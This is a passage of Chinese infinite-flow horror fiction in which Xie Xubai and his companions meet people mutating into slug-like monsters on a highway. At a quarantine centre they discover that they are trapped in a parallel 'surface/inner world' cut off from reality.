裴玉衡无法认知“S级副本”之类的字眼,眉眼掠过一丝疑惑,看向谢叙白:“你们是不是早就知道城南新区会有事情发生?” 玩家A瞬间神色一紧,心想裴玉衡的导师在城南新区出事,他们要是回答“是”,却没提前告知对方,会不会产生信任危机? 正想着蒙混过关的措辞,岂料谢叙白直接坦白道:“是,新闻报道流感病毒在城南新区大面积传播的时候,我们就在密切关注,这辆越野车也是那个时间段买的。除此之外,我们还储备了一些生活物资,就放在城南的某个卫生所里。” 玩家A看着裴玉衡阴云密布的脸,头皮发麻,只觉得对方下一句就将脱口而出:“那为什么不告诉我,不通知其他人?” 裴玉衡却深深地吸了一口气,沉声道:“是我没用,辛苦你一直在背后周旋安排。” 谢叙白其实已经做好裴玉衡和他争执的准备,毕竟连裴玉衡恩同再造的导师也被卷入其中,不知生死。 见状,他忍不住狐疑地询问:“你不怪我?” “怪你什么?我没那么小心眼。”裴玉衡啼笑皆非,随即忍不住神情凝重,眉宇微蹙,“我只知道你不会袖手旁观。若是有什么变故,你选择看着它发生,必定不是你不想做,而是不能做。” 谢叙白默了默,不置可否。 裴玉衡专心研究的这段时间,他确实没闲着。继续搜集线索、研究联盟政局的构成、购买物资、物色人手、关注傅家的动向、计算城南新区的病毒传播范围等等。 裴玉衡的导师受邀前往城南新区,和灾害发生一样属于不可抗力,规则不允许他插手阻拦。 这个时代的人,不知道有多少能活过灾害时期,为了减少伤亡,谢叙白也尝试示警。 倒没有直说灾害即将降临,这话任谁都不会相信,还会引起联盟政局的注意。于是他放出物价即将飞涨的消息,让附近的居民赶紧囤粮囤货,有效果,但也只有那么一点。 到目前为止,谢叙白仍旧想不通灾害蔓延的时候,这些没有离开城市的人要怎么活下去。 如果灾害致使H市变成了一座死城,那么它又要如何在二十年多后延续眼前这般繁荣昌盛的模样?更让人细思极恐的是,为什么人类文明和科技水平会一成不变? 每当有问题想不通,谢叙白就很怀念宴.百科全书.朔,然而这时的盛天集团还是一家名不见经传的小公司,没有宴朔,也没有吕向财。 越野车上了高速,沿途树木葱郁,几乎没有看见几辆车的影子。 驾驶座的玩家A忍不住咳嗽一声,似乎有点冷,将车窗摇了上去。 没多久,他又咳嗽了几声。 “……奇怪?”莫名的疲倦感袭上玩家A的心头,他的眼皮开始打颤,“我怎么忽然觉得,好累啊。” 谢叙白目光一转,倏然定格,伴随着玩家A不间断的咳嗽,似乎有什么黑色的物质从他的口腔溢散而出。 来不及细想,他用最快的速度给裴玉衡笼上一层防护金光,又一巴掌拍在玩家A的肩膀上,强令道:“停车!” “啊?这里可是高速,后面还有车……” 谢叙白扫过身后那辆大众迈腾,眼神暗了暗:“你还没发现吗?它和我们之间的间距从来没变过,别管了快靠边停车,再不停车我们都要出事!” 玩家A咬了咬牙,选择相信谢叙白。 就在他停下车之后,一股汹涌的无力感几乎淹没他的神智。 咔嚓一声,谢叙白下了车,将玩家A大力拽出越野车,同时给他的身体灌入精神力。 源源不断的精神力涌入大脑,玩家A终于清醒了一瞬,再然后他的喉咙传出卡痰的不适感。 不,等等,那不是痰!它在扭动,在蛄蛹,刺激得玩家A更觉恶心反胃,脸色铁青。 他反应很快,半秒没犹豫,直接将手指扣进咽喉,然后开始撕心裂肺地干呕。 “哇啊——” 啪嗒。 一条沾满口水、像黑色蛞蝓般浑身黏糊糊的虫子被玩家A吐到马路上,并且它还没死,伸出细长的触须,像海胆一样到处乱爬。 玩家A盯着这条不断蠕动的虫子,霎时间手脚冰凉,头皮都快炸了起来,一脚下去将它踩成滩烂泥。 也是这个时候,一直追在他们身后、和他们同时停下车的大众迈腾突然动了起来,引擎发出震耳欲聋的轰鸣,一脚油门直冲谢叙白俩人的门面! 两人急忙躲开,看着那辆迈腾失去目标后,在马路上打飘走起S弯儿。 最后因为车速过快,没能刹住,直接撞上护栏,车头顿时被撞塌一半,冒出寥寥白烟。 咵的一声震响,迈腾的驾驶座车门被人从里艰难拍飞,紧跟着一只沾血的手颤颤巍巍地爬了出来。 裴玉衡见状,想要上前救人,被谢叙白拦下:“别过去。” 司机已经完全没有了人形,后背高高地鼓起一团,双臂皮肤散开,形如软体动物的腹足,落在地上后,不断冒出无色粘腻的液体。皮肤灰黑,撑到透明,像一条吃得圆滚滚的水蛭。 玩家A激起一背鸡皮疙瘩,他一眼就看出来,司机此时的样子,和他刚才吐出来的那条恶心人的虫子一模一样! 如果没有谢叙白发现端倪,那他会不会和这名司机落到相同的下场? 玩家A后怕极了,感激地看向谢叙白。 一根金色的线条从他的心脏处蔓延而出,连接到谢叙白的掌心。 这代表他对谢叙白的好感度正在逐渐转变成信仰。 谢叙白将之收下,却高兴不起来,他看见那名异化成黑色蛞蝓的司机冲他竭力地伸出手,嘴巴一张一合,双眼湿润通红,似乎在祈求着什么。 “咳咳咳!”…… 三人同时听见四面八方传来的咳嗽声,环视四周,顿时心脏一沉。 就在刚才,空荡荡的高速路上突然出现好几辆车,有的撞上护栏,有的追尾连环撞在一起,车身被撞得支零破碎,血肉残屑顺着座位流淌在地,场面惨不忍睹。 从车上爬下来十几条大蛞蝓,都顶着人类的头颅。 有打扮精致、妆容却被血液模糊的中年女性,也有长相朴实无华、眼下一圈青黑似乎没睡好觉的年轻小伙。 他们就是一群普通的过路人,却惨遭横祸。 谢叙白护着裴玉衡退回车内,听见外面的咳嗽声在不断逼近,因痛苦而被压抑得沉闷,又充满迫切和渴望。 ——他们看见谢叙白使用精神力为玩家A治疗,于是迫不及待地追上来寻求救助。 然而,这些人努力支着软化的四肢爬到半路,却毫无征兆地啪嗒一声倒下去,像阳光下的雪,眨眼间化作一滩浓稠的黑水,气化后消失得无踪无影,如同从来都没有出现过。 “吓死我了,还以为会有一场苦战,原来是怨魂。”玩家A拍着胸脯说道。 怨魂,包含意外枉死无法释怀的魂魄,会被死亡原因所困,终生不得解脱。 若是厉害点的,便能自由活动,像之前被坑害的诡狗诡猫。 若是不厉害的,便会被怨念束缚在原地,像这些大蛞蝓一样,无休止地重复着死前的痛苦。 谢叙白动了动手指,又给裴玉衡加了一层金光防护:“等我一下。” 玩家A疑惑他要做什么,下一秒,就看见谢叙白将精神力洒出,笼罩在这一方土地。 星星点点的金光如雨而下,方才消失的十几条大蛞蝓,再次显出影影绰绰的身影。他们似是茫然地抬起头,睁大眼睛去追寻头顶的金光,犹如追寻黑夜里的太阳。 肥硕庞大的身体在这个过程中裂开,如破开的茧,人类的灵魂从中钻出,随金光盘旋漂浮,飞向天际。 这仿佛是高僧度化恶鬼般的景象,让身后的玩家A看得目瞪口呆。 裴玉衡倏然回神,快步上前,接住谢叙白摇摇欲坠的身体。 后者额上渗出细密的冷汗,显然刚才的做法给他带来极大的负荷,他却舒心地笑了笑:“好了,走吧。” 等谢叙白一行人抵达城南新区的卫生检疫中心时,却发现这里已经大变了样,不仅人员进出穿着密不透风的防护服,街道入口也拉起长长的黄色警戒线,荷枪实弹的警卫在旁看守。 几人下了车,找警卫说明缘由。 警卫还没开口,一个身穿防护服的男人听到声音,立时快步走出来,遗憾又积极地说道:“如果你们是单纯为了找人,为了你们的安全考虑,我们没法放你们进去。但如果你们愿意成为志愿者加入救援行动,那就可以随意进出。” 看得出来这里很缺人手。 几人正要答应下来,忽然身后传来一声呵斥。 “三个毛头小子,你指望他们能帮你干什么?让他们马上走!” 男人似乎无奈地回头:“我说李医生,你就别添乱了行不行?已经赶走两批人了,再赶走这几个,到时候你跟我去采集样本?” “既然人手不够为什么不向上面请求增援,要把无辜的市民卷入其中?”李医生扫向谢叙白等人,冷声道,“而且那些事能交给外行人来做?你是嫌麻烦不够多。” 谢叙白观察这个叫李医生的人,总觉得对方的长相似曾相识,却被李医生以为是挑衅,脸皮一垮吹胡子瞪眼:“怎么?你还不服气?那巧了,这里最不需要意气用事的愣头青,走走走,快点走!” 男人一时间更加无语:“我说李安民,你这脾气能不能……” 话没说完,忽然有几个穿着防护服的人急匆匆地跑了过来,惊喜地大喊道:“李医生!赵医生!我们有一个重大发现!!” “刚才无人机拍摄到C287高速公路上的污染物居然被人净化了!净化它们是一个戴眼镜的年轻男人,看上去二十多岁,他还有两名同伴,开着改装越野……欸?” 看着杵在跟前的墨绿越野车,以及旁边的谢叙白三人,几名工作人员停下脚步,惊诧又惊喜地瞪大眼睛:“是你们!” 李医生满脸震惊,飞速扭过头,和谢叙白他们大眼瞪小眼。 玩家A看明白了,瞬间乐呵起来。 虽不至于被李医生的话激怒,但他也不介意嘴贫一句解解气:“那我们几个只会添麻烦的毛头小子,是不是不用打道回府了?” 几名工作人员顿时叫囔起来,生怕谢叙白这个能净化污染物的大宝贝跑了,竭力否认道:“什么?谁说你们只会添麻烦?谁这么眼瞎??” 李医生:“……” 第92章 迷雾重重 被人意有所指地骂一通,李医生的脸登时有些挂不住,但尴尬的神色只是一闪而过。 如果情报属实,谢叙白确实有净化污染物的能力,那对于所有人而言,将是一个天大的好消息。 因此,所有人看向谢叙白的目光都变得炙热无比,包括李医生。 工作人员将谢叙白拉到一边问东问西,激动得语无伦次:“小伙子不要怕,知不知道什么是污染物?就是你们在公路上看到的那些怪物。你用什么方法净化掉它们?一会儿能不能再给我们展示一下?” 话说起来就喋喋不休。 谈到“污染值、污染物、污染区”都是前不久应用上的词汇,他们还在研究怪物的成因和污染物的由来。谁都没想到一场流行性感冒,最后会演化成一场克苏鲁版的丧尸危机! 察觉到世界真相的人本该异化成怪物。 但谢叙白观察几名工作人员,传出的精神力波动显示他们还是人类。 几人神情不掩焦躁,如临大敌。就像误打误撞闯入诡异世界的正常人类,竭尽全力想要找到应对的方法。 李医生见状,知道阻止不能,神色一暗,挑剔刻薄的视线落到玩家A身上。 玩家A挑了下眉头,干脆将袖子撸起来,露出自己结实饱满的肱二头肌,同时解除部分伪装。 刚才还瘦弱的人忽然变得人高马大,靠近时极有压迫力,双目一眯迸溅出危险的光。 于是李医生想说的话又全都吞回肚子里去。 只剩下最后一人。 和其他两人比起来,一副清瘦小身板的裴玉衡显得格外好欺负,看着就肩不能抗手不能提。 注意到旁边的男人乐乐呵呵把玩家A拉过去,李医生眉头紧蹙,直截了当地说:“他们两个要是铁了心想进污染区,没问题,但是这个人你必须让他走!” 被人三番两次强加制止,男人的笑容一僵,似乎也来了火气:“李安民!你只是防疫科临时代理,无权干涉安检是否放人!” 李医生冷笑道:“我是管不了安检,但我能管防疫科的资源配备。有本事你就让他进来,我看到时候谁敢给他半件防护服。除非你把自己身上这件脱下来让他穿,那我别无二话。” 两人视线相撞,空气中仿佛炸开激烈的火花。 脑海中同时闪过只有内部人员心知肚明的窘境。 ——污染源未知,污染物质都没有找到适合的方案从怪物体内提炼出来,有效的治疗手段几乎没有,所谓的抗病毒药物仍旧在研发之中。 见过一个正常人毫无征兆被异化成大蛞蝓的全过程,谁敢脱下防护服,那不妥妥找死吗? 所以谢叙白三人能平安走到这里,真的大大出乎众人的意料。但谁也不能保证接着往前走,这三人就不会出事。 特别是玩家A,在无人机的拍摄画面中,这人可是已经被污染了,病毒可能还残留在这人的身上。 就算工作人员迫不及待想要谢叙白进去,这三个人都需要留待二十四小时观察情况,看有无异变的倾向。 男人见李医生固执己见的态度,磨牙凿齿:“无论是谁,只要有心就能够纳入临时编外人员,这是上面的吩咐,你非要搞事,就不怕被主任主管们问责吗?” “你尽管去告发。”李医生说话一点都不客气,“也不看看这句吩咐是什么时候的事,那时候可不会出现志愿者突然异变成怪物袭击工作人员的乌龙!” “我还是那句话,尽早和上面取得联系,让他们派专业部队下来增援,别什么阿猫阿狗都往里面送!” “是我没有和上面请求增援吗??”男人气急,李医生这意有所指的语气不就是在指责他拿其他人的性命不当回事? 他怒火噌噌往上涨,脱口而出:“两天时间我给上面打了十七通电话,每一通接报员都保证尽快安排人手过来,结果毫无例外全他X的石沉大海!几支搜救部队自从出去后到现在都还没回来,通讯中断,大可能都没了命,你要我怎么办——” “你说什么?” “几支搜救部队也都失联了?和之前的情况一样?” “那主任他们呢,主任他们是不是也出事了?” 见其他工作人员惊疑不定地投来视线,男人忽然反应过来自己漏了口风,连忙闭上嘴。 但是已经晚了,他刚才的话透露出死了很多人,不知道出于什么原因增援迟迟没有到来,整个防疫中心已经到了捉襟见肘的地步,所以才会对送上门来的谢叙白三人来者不拒。 裴玉衡神情一紧,当即追问导师周潮生的安危。 周潮生是最早一批专家调研团的人,周围的工作人员对他都有印象。但不幸的是,自从周潮生在调研过程中消失后,就没人再收到他的下落。 裴玉衡一颗心瞬间沉入谷底。 男人不太敢看众人的眼睛,还在试图挣扎:“若是就近接触污染,风险自然会大一点点,但你们只需要在旁边搭把手,不用和污染物亲密接触,偶尔帮忙搬运下物资,出事的可能性很小。” 他这话,自己听着都很没底气,笑容勉强,越说越虚。 他并非联盟政局或军方的人,和李医生一样被赶鸭子上架,临时委托任命,急得抓耳挠腮。 哪怕知道这样做不地道,是在坑害谢叙白三人,最终也被卑劣的人性裹挟,选择拉他们跳进火坑。 李医生本来想要冷笑,扯了扯嘴角,却是满脸黑沉,一点都笑不出来。 他还是想让看起来手无缚鸡之力的裴玉衡走,谁知道这里什么时候就会沦陷。 也不全是为了裴玉衡的生命安全考虑,搜救部队没回来,资源逐渐吃紧,防护服可以救命且稀缺,没道理浪费给一个毫无用处的吉祥物。 只是还没开口,裴玉衡的目光就落在了他袖口上的一点藏青色污渍上,分析道:“自配型D63溶解液,强吸水性。那些怪物长得像蛞蝓和水蛭,是不是和此类软体动物一样会被高浓度溶液破坏体表的粘液平衡?“ “如果是这样,我知道一个更有效的精炼提取方法,在发挥同等作用的前提下极大程度地降低原定的材料损耗度,至少20%。” “至少降低百分之二十,你在开什么玩笑?”李医生听着他大言不惭的话,险些憋不住火,直接气笑,“你知道我们的损耗率是多少吗,张口就说20%?” “6.5%左右,不超过7%。”裴玉衡不卑不亢地道,“但我能把它降低到5%以下。” 这下李医生笑不出来了,因为裴玉衡猜得一点不错。 他再度审视面前的年轻人,长相清冷,但眼里含着明净剔透的亮光,仿佛世间任何污秽都无法撼动,穿着普普通通的白衬衣和西装裤,细腰突出,干净而挺拔,让人想起高悬夜空皎洁苍茫的明月。 哪怕知道场合不对,李医生还是忍不住露出求贤若渴的浓郁兴味:“你是化工专业?” 裴玉衡摇了摇头:“不是,我主修生物基因工程,只是对化学有点兴趣。” “……” 李医生瞬间呼吸都变快了,扭头叫人把防护服拿过来,不仅留下等裴玉衡快速换上,还想亲自领着人往里走:“我先带他进去,没准他能找到办法提取出怪物体内的污染物质!” 比起谢叙白那玄之又玄的净化能力,明摆着李医生更相信现当代医药技术,因为谢叙白就算能救人,他也只是一个人,救不了整个城南新区。 快速变脸的架势看得其他工作人员瞠目结舌。 见李医生只点了自己的名,没提起谢叙白两人,裴玉衡皱了皱眉头停下脚步:“我得和朋友们一起走。” “你不能去,他们要去的地方是高污染区,那里不只有【蛞蝓】,还有许多凶残危险的怪物,留在这里是最安全的。” 李医生说话的同时,眉宇间笼罩着一层浓郁的阴翳,仿佛对高污染区心有余悸。 但裴玉衡是来找人的,不可能干坐在后方等候消息。 谢叙白环顾一圈,将工作人员的表情变化收纳眼底。 这些人现在都还没有回神,男人突然透露的噩耗让他们饱受打击,甚至萌生出些许的退意。 他们只是一群普通人,到这种程度才想着逃跑,已经很不错了。 谢叙白倏然问道:“你们说向上面请求增援却迟迟没有人来,就没想过亲自到联盟政局走一趟?” 男人苦着脸:“怎么可能没派人出去过?同样在之后音讯全无,无人机遍寻不到下落,部分路段还会受到磁场干扰,无法成像,根本没法判断发生了什么事。” 说着,他同情地看向谢叙白等人:“所以你们知道了吧,不是我故意诱骗你们,就算你们想要离开,大可能也回不去。” 还能拨打出去的通讯成为他们唯一的希望,直到现在屡次遭到联盟政局的人敷衍,希望也将化为飞灰。 玩家A忽然脸色大变,凑到谢叙白的耳边压低声音说:“大佬,联系不上小魔术师。” 组队频道不能用,他使用的是通讯道具,不知道从哪一个时间段起,里面再无人声传出,只掠过一阵像是电流闪过的杂音。 谢叙白延伸出去的精神力也没在附近找到人,按理说魔术师应该比他们先抵达城南新区才对。 裴玉衡同样产生一股不祥的预感,问起师兄师姐们的下落,得到的回答却令他惊异。 “师兄他们没来?怎么可能!” 裴玉衡的几位师兄师姐早两个小时前出发,打电话通知他的时候,就已经上了高速。 高速上有大蛞蝓堵路,但顶着的头颅没一个是熟悉的面孔。 本来裴玉衡还算安了心,闻言心脏又开始七上八下,手脚冰凉,拿出手机给几人拨电话,嘟嘟的等待音仿佛重锤敲击在他的心头。 出乎意料,讯号正常,竟然接通了。 背景音很嘈杂,似乎还能听到记者拿着话筒在报道现场病情,裴玉衡的师兄只能无奈地扯着嗓子说话:“喂,玉衡啊,你们到哪儿了?我怎么没看见你们的人。” 裴玉衡瞬间喜形于外:“师兄!你们都没事吗?” “啊?什么没事?”电话那头的人似乎在状况外,声音充满茫然。 谢叙白先一步反应过来,追问道:“你们现在在哪儿?” “在哪儿?”师兄更加不解,“城南新区的卫生检疫中心啊,不是约定好在这儿碰面吗?” 第93章 不是同一个空间 手机开的扩音,裴玉衡师兄的话清清楚楚地传入所有人的耳朵里。 在场众人反应不一,包括李医生在内的大部分卫生检疫中心的工作人员,都流露出狐疑茫然的神色。 他们好像没能听懂电话那边说的什么。 又或者听懂了,意识到了什么,才觉得匪夷所思,毛骨悚然。 比起慌张的众人,谢叙白的反应要冷静许多。 他同时听到通讯中传出一丝不稳的电流声,仿佛这通电话随时会被不明磁场干扰中断,于是快言快语地问:“马师兄,麻烦看一下今天几月几号,以及你们那边现在几点,卫生检疫中心附近有什么显著特征?” 这位师兄姓马,听出谢叙白就是经常跟在裴玉衡身边的好友,顿了顿。 他或许见多识广,发现谢叙白语气有异和情况古怪,一瞬间呼吸粗重不少,快步走向嘈杂的人群,找同行的师兄弟询问日期时间。 “■年■月■日,下午14:13。” 谢叙白瞄了眼手机的显示时间,14:13。 没多久,13跳成14。 正常时间,正常流速。 马师兄:“检疫中心的马路对面有一个长润加油站,两排红白色的燃油加油机,后面有个福星超市,旁边是加油站的值班室。” 众人齐刷刷地看过去。 长润加油站蓝底白字的招牌赫然醒目,胶管被丢在地上,洒出来的黄色汽油在地上凝结成块。 福星超市的大门敞开,玻璃门被人砸碎,空荡荡的货架倒在地上,能看见门口几片干涸的暗红色血迹,萧条荒凉之中,不见一个人影。 工作人员解释说:“加油站的人几乎在同一个时间段感染异变病毒,咳个不停。他们来找我们求助,结果看见那些病人变成怪物……又跑了回去。没几小时,加油站就爆发出一场争斗。” 马师兄的声音还在继续:“加油站后方是一个居民小区,六幢楼环形建造。旁边有一个商场……” 几人大气不敢喘一下,聆听他的阐述,比对建筑物,一个个验证过去。 其实现场的工作人员在这里上班,对附近有哪些建筑已经烂熟于心。 但他们渴望听到不一样的东西,好证实心中那荒诞离奇、叫人不寒而栗的猜测,纯属子虚乌有。 他们注定要失望。 白天灯光不显眼,但远处的居民楼和商场安静得过了头,听不到任何嘈杂的人声,显得一片死寂。 大马路上垃圾随处可见,被风吹到各个地方,草丛或是花坛。几辆车停靠在路上,车胎碾地擦出一道道触目惊心的剐痕,不难看出是突发意外急刹。 车头被撞扁砸烂,破碎的血肉从缝隙中挤出来,一条弯折的手臂就挂在挤压变形的车门上,随风一摇一晃。 空气中若有若无的腐臭味似乎更加浓郁,日光被厚重的云层遮盖,大片的阴影笼罩在这片天地上,气温好像骤降几十度,阴郁森寒。 马师兄再一次靠近人群,让他们能够听见记者的现场报道:“……附近的病人已被收治隔离,部分轻症留待家中观察情况,联盟政局增派的援助队伍已经抵达现场,但目前我们仍旧没能见到相关负责人的影子……不,等一等,张主任出来了!” 叫囔四起,似乎有不少人都朝那位所谓的张主任涌了过去。 人们七嘴八舌地追问现在的疫病情况,被那名据说是负责人的张主任语气不善地骂了回去:“知道有病毒还往前面凑,是不是都不要命了!?” 旁边的工作人员们呼吸都凝滞了。 他们怎么会听不出上级张主任的声音?可就是这样,才叫他们惊恐万分。 李主任是个直性子,沉不住气,飞速拽住裴玉衡的手,冲着手机火急火燎地大吼:“张主任!你能不能听见我说话?你们现在在哪儿,不是去高污染区调研污染源吗?!” 这饱含不安的疑问,似乎没能顺利传达到电话另一边。 记者的语气顿时激动起来,却失了真,机械性地卡顿:“您这,说,是不是……新型病毒其实,高,高,致命性?这,不符——” 通话中断,戛然而止。 没能得到回应的李主任目眦欲裂:“张主任!!” “到底是怎么回事?” “张主任他们那边是卫生检疫中心,是真实的世界,那我们在哪里?” “不知道啊!” 参加无限游戏这么多次,什么怪异的事情没见过,就是一直联系不上小魔术师让玩家A有些烦躁。 他对谢叙白说:“听起来是表里世界的设定。” 如果喜欢恐怖电影、游戏,会经常看到“表里世界”这样的词汇。 在某部知名恐怖电影力作中,某座荒僻的小镇被分为三个空间,即:现实世界、表世界和里世界。 现实世界就是普罗大众所生活的世界,没有任何灵异现象发生。 表、里世界是诡异世界,等比例复刻现实的建筑物。表世界大多是白天,荒凉寂静,让人内心一片空茫。里世界则对应为夜晚,森郁诡谲,滋生危险和邪恶。 恐怖的诡怪会在表世界偃旗息鼓,又在里世界活跃,对一切活物展开疯狂杀戮。 两个世界与现实隔绝,偶尔会有正常人无意闯入连接它们的空间裂隙,然后迷失在虚妄里,找不到回现实的路,直至发疯、老去或是不幸惨死在怪物的嘴里。 基于设定不同,有的故事直接删掉现实世界,只留下表里世界,表世界为现实。 如果这场试炼真是类似的设定,那就能解释为什么城市的繁荣还能持续下去,市民也没有在大灾变中皆尽丧命,因为出事的只有误入表里世界的少部分无辜人。 防疫中心的工作人员却没有这么好的心态。 他们给联盟政局打电话求助,给各大医院打电话请专家调研,给家里人打电话报平安,唯独没想过给防疫中心站打电话。 问题是谁会在家里,给同样留家的爸妈打电话?? 如今残酷的现实赤裸裸地摆在众人的面前。知道自己可能掉进一个异空间,并且永远回不到现实,他们几乎要崩溃了,电话一通接一通地拨给防疫中心,却显示信号中断。 瞬间成为压垮众人的最后一根稻草。 玩家A对副本NPC不冷不热,但看着他们惊恐不已的样子,莫名生出一抹同情,和谢叙白嘀咕:“他们让我想起刚参加无限游戏那阵,大家也是这样一副天塌下来的无力感。” “小魔术师之前说这个副本很有代入感,我算是信了。”玩家A道,“以前参加的那些副本,普通人要么看不见诡怪,像设定好的程序,麻木机械。要么就是局内人,或者已经成为怪物,反而显得玩家在大惊小怪。” “现在看他们也在惊慌失措,好像在照镜子一样……嘁!杀千刀的系统不干人事,早晚灭了它。” 听他说的这些话,一道灵光从谢叙白的脑海划过,只是速度太快没能完全抓住,令他不由得皱眉。 几名工作人员也算心智过硬,世界观被撞碎也能勉勉强强地拼凑回来,只因李医生沉着脸道:“这事暂时不能告诉其他人,不然人心会乱。” 直到今天,大家仍然相信联盟政局会给出解决方案,事实是上面确实派遣了救援部队,却到不了他们的面前。 所有人都靠这根悬在眼前的胡萝卜艰难支撑,一旦把它拿走,必将引起大范围恐慌,继而暴乱,像对面出事的加油站。 李医生转向裴玉衡,殷切地恳求道:“留下来吧,如果我们能顺利提取出污染物质,没准能研究出遏制异化的药物。” 裴玉衡抿了抿唇,转过头看向谢叙白,寻求他的意见。 情况不同了,世界不再是他认知里的那个世界。就他这个作战能力,深入高污染区找人,很可能会拖大家的后腿。 如果留在卫生防疫中心,凭他的知识和头脑,可以做些力所能及的事,为大家充当有力的后援。 谢叙白从眼神读出他的想法,将卫生所的钥匙和地产文件一并交给他:“你们先留在这里,等我回来。” 历史中裴玉衡能找到豪门世家获取灾民所需的生存物资,说明可能存在两种情况。 第一种,裴玉衡能回到现实世界,往返运送物资,却不能带灾民离开。 第二种,那些世家也在异空间。 谢叙白得提前去验证一下,还要找到裴玉衡的导师周潮生,以及消失的搜救部队。 临走前,他给裴玉衡重新补上好几层精神力防护。 玩家给出的道具需要精神力驱使,裴玉衡没有精神力,谢叙白就耐心地一个个给他用上,力保让他在自己离开的这段时间毫发无伤。 他留下玩家A照看裴玉衡,一个人前往高污染区,却没想到这一走,再回来竟是半个月后。 彼时卫生防疫中心全面沦陷,满地碎肉残骸,人去楼空。 第94章 深海下的眼睛睁开 卫生检疫中心的人突逢巨变,正是茫然无措想找个主心骨的时候,十万分不舍得让人走。 特别是前面隐瞒实情,意图将他们拉入火坑的男人,满脸苦口婆心,嘴皮子喋喋不休,都快说破了。 谢叙白和这几人对上眼,仿佛能看见仓惶目光中摇摇欲坠的崩溃,倏然笑道:“我的朋友还留在这里,无论如何我也不会走远。而且我们总不能在这个地方坐以待毙,不然没有人来救援,缺水缺食物了怎么办?早晚有一天要坐吃山空。” “必须有人去探清虚实,找到回现实的路。既然我能力最强,我愿意担起这个责任。” 一番话晓之以情动之以理,很快将卫生检疫中心的人说服。 众人神色缓和,主动分派给他食水、防护服、探测器等功能设备。 谢叙白收了装食物和水的背包,没有要防护服。 他有精神力可以确保自己不被异化感染,但其他人没有防护服却会致命。 瞄一眼似乎为生命安全得到保障而大松一口气的男人,谢叙白提醒玩家A:【你们多注意下他。】 玩家A点头。 裴玉衡看着为他使用道具增添防御手段的谢叙白,动了动嘴唇,欲言又止。 私心里,他想和谢叙白呆在一起,为自己的孩子保驾护航。 谢叙白看出他的挣扎和难受,推了推眼镜,极其不近人情地道:“东西要摆放好,不能有半厘米的偏差,等我回来之后检查。” 裴玉衡瞬间哽了一下。 眼前这个当儿子的,指使他做事是越来越理直气壮,可他仔细品味,不仅没有觉得生气,心里还有一种淡淡的宽慰。 谢叙白佯装没看见他幽深的目光,唰一下转身欲走,被裴玉衡眼疾手快地拉过去,狠狠地揉搓一把头发,还有脸颊。 裴玉衡不轻不重地斥一句:“没大没小。” 谢叙白扫见他嘴角勾起的弧度,听出了宠溺的意味,挣扎的动作一顿。 裴玉衡历尽磋磨,年少老成,但多都表现在生活上的独立自主。他每年学校和家两点一线,抛开杂念沉浸在能救命的书本和实验室,冷淡寡言,不知道该怎么表现自己的情感,也从未想过将之呈现给外人。 直至突然出现的谢叙白为他弥补了这一块空缺。 “我会等你回来。”裴玉衡语气温和地承诺着,罕见地撑起家长的气势,一字一顿和他耳提面令,“遇到危险打不过就跑,不许逞英雄,知道么?” 说话的间隙,谢叙白的脑袋又被揉了好几下,想躲开却被裴玉衡再次强硬地拉回来,最后只能无可奈何地放任了。 “去吧。”裴玉衡敛去不舍的神情,轻拍一下谢叙白的肩膀,转身和其他人步入卫生检疫中心。 原本他落于众人的身后,面向谁都是神情淡淡,不如和谢叙白的热切。 但他在和李医生谈话的同时,不知不觉就走到了队伍的前列,谈及污染物质的提取方法,谈及怪物的生理机能。 甚至连其他人考虑自制防护工具,他都懂得详细的流程,能提出合理的建议。 很快,众人便被他渊博的学识所折服,东拼西凑的草台班子正需要一个像样点儿的顶梁柱,哪怕裴玉衡为人看着冷淡了点,也忍不住向他靠拢。 玩家A跟随在侧,敏锐地感觉到裴玉衡有什么地方不一样了。 那双清冷的眸子不留痕迹地扫向周围的人,学着谢叙白此前教他的观察技巧,不停地审视,争夺主导权,隐约展现出锋芒毕露的威势。 卫生检疫中心附近,空气中比较清新,却称不上干净。 其他人没有感觉,谢叙白却能看见空气中漂浮的黑暗物质,轻巧如丝丝缕缕的飘絮,又像某种活跃的微生物,做着不规则的布朗运动。 它们并不会阻挡谁,亦能在建筑物中无阻碍地穿梭,唯一的问题是令光线变得不透彻,明明还是大白天,周围却显得格外昏暗。 离开黄色警戒线封锁的污染区,这种黑暗物质有所减少,取而代之的是一片透着丝丝凉意的白雾。 诡怪们喜欢藏匿于这样的白雾,副本内的白雾亦会笼罩在禁忌地区,限制玩家的行动。 谢叙白先用石头等杂物试探,又尝试用精神力探路,没有受到阻碍。 他步入其中,挺拔削瘦的身影消失在朦胧白雾的深处。 没多久,白雾无风涌动,像是古老沉重的守城大门忽然闭合,分隔出两个空间。 谢叙白猛然停下脚步,狐疑地往回看。 白雾悄然无声,高楼安静屹立,四周空荡荡没有人影,似乎毫无异常。 谢叙白掩去眼底的疑惑,先去了异空间内的联盟政局。 这里的布局建设和现实世界别无二致,肃穆庄严的大厅只有寥寥几道人影,却没有李医生等人的鲜活自然,如同上了发条的玩偶,重复着机械性的工作。 谢叙白走入大厅,几人不约而同地朝他看过来,黑白分明的眼珠子直叫人瘆得慌。 他权当没看见,泰然自若地将这里探寻个遍。 之前见过面的局长和其他主事人员皆不在其中,没有活人的地方气氛生冷,像个毫无灵魂的空壳。 路过前台要离开的时候,接报员还在面无表情地接电话。 “您好,欢迎拨打H市的市政热线,我是市民服务中心的工作人员,工作号为:339,请问有什么可以帮到您?” “您好,欢迎拨打H市的市政热线……” “您好,欢迎拨打H市……” “您好……” 电话那头一片杂音,听不清是什么声音,总之没有正常人类说话的声音。 于是接报员也重复着同一段开场白,两颗眼睛像无机质的玻璃珠,语气神态没有丝毫的变化。 谢叙白没有贸然接近,观察二十分钟后没有察觉出变化,转身离开。 在他离开后不久,接报员忽然卡了一下壳,像变调的音节被强行掰回正轨,她接着往下说。 “……您……说……我在,在听。” “东西,被人偷,偷了是吗?您先不要着急,我这边,帮您,转接执法大队说明情况。” 她越说越顺畅。 宛若空壳般的身躯被填入灵魂,黯淡空洞的眼睛逐渐灵动。 大概二十多分钟,这通热线求助总算告一段落。 接报员伸了一个大大的懒腰,甩一甩酸痛的肩膀子。瞄一眼电脑,见快到晚饭的时间点,她习惯性转向同事询问对方一会儿准备吃什么,却发现邻座无人。 不仅邻座无人,整个工作岗位都没什么人,四周安静得针落可闻。 一瞬间,接报员愣住了。 不安的预感在她的心头愈演愈烈,逐渐化作潮水般的恐惧,激起一背的鸡皮疙瘩。 这里可是联盟政局,不管什么时间段,哪怕周末节假日都是人头攒动,有可能这么安静……吗? 谢叙白接下来去了傅家、江家还有其他诸多世家。 一些长相类如豺狼的怪物游离在住房附近,嗅着空气中的腐臭味,翻找食物。 